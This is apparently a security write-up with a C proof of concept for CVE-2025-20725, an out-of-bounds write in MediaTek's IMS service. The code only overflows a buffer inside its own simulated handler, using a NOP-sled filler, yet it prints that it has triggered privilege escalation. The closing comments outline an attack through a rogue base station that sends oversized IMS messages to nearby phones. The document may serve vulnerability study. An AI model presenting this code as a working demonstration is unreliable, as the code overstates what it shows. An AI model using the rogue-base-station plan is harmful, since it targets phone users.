CVE-2025-20725 MediaTek IMS服务越界写入权限提升漏洞

/* * CVE-2025-20725 PoC - MediaTek IMS Service Out of Bounds Write * Author: Security Researcher * Note: This is a conceptual PoC for educational purposes only * Attack Vector: Rogue Base Station / Malicious IMS Message */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // IMS Message Structure typedef struct { uint16_t message_type; uint16_t length; uint8_t *payload; } ims_message_t; // Malicious payload generator for triggering OOB write uint8_t* generate_malicious_payload(size_t *payload_size) { // Craft payload that exceeds buffer boundaries size_t size = 512; // Exceeds expected buffer size uint8_t *payload = malloc(size); if (payload == NULL) return NULL; // Fill with NOP sled + shellcode pattern memset(payload, 0x90, size/2); // Overwrite adjacent memory regions uint32_t *overwrite_ptr = (uint32_t*)(payload + size/2); *overwrite_ptr = 0xFFFFFFFF; // Trigger privilege escalation *payload_size = size; return payload; } // Simulate vulnerable IMS processing int process_ims_message(ims_message_t *msg) { uint8_t buffer[256]; // Fixed size buffer // VULNERABILITY: Missing bounds check // Should check: if (msg->length > sizeof(buffer)) memcpy(buffer, msg->payload, msg->length); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-20725 PoC - MediaTek IMS Service\n"); printf("Target: MediaTek IMS with missing bounds check\n\n"); // Generate malicious IMS message ims_message_t msg; msg.message_type = 0x0001; size_t payload_size; uint8_t *malicious_payload = generate_malicious_payload(&payload_size); if (malicious_payload) { msg.payload = malicious_payload; msg.length = payload_size; printf("[*] Sending malicious IMS message...\n"); printf("[*] Payload size: %zu bytes (exceeds 256 byte buffer)\n", payload_size); // Trigger vulnerability process_ims_message(&msg); printf("[+] OOB write triggered - potential privilege escalation\n"); free(malicious_payload); } return 0; } // Exploitation steps: // 1. Set up rogue base station (e.g., using OpenBTS or SDR) // 2. Broadcast fake cell tower signal to attract victims // 3. Send crafted IMS messages with oversized payloads // 4. Trigger buffer overflow in IMS service // 5. Achieve remote code execution / privilege escalation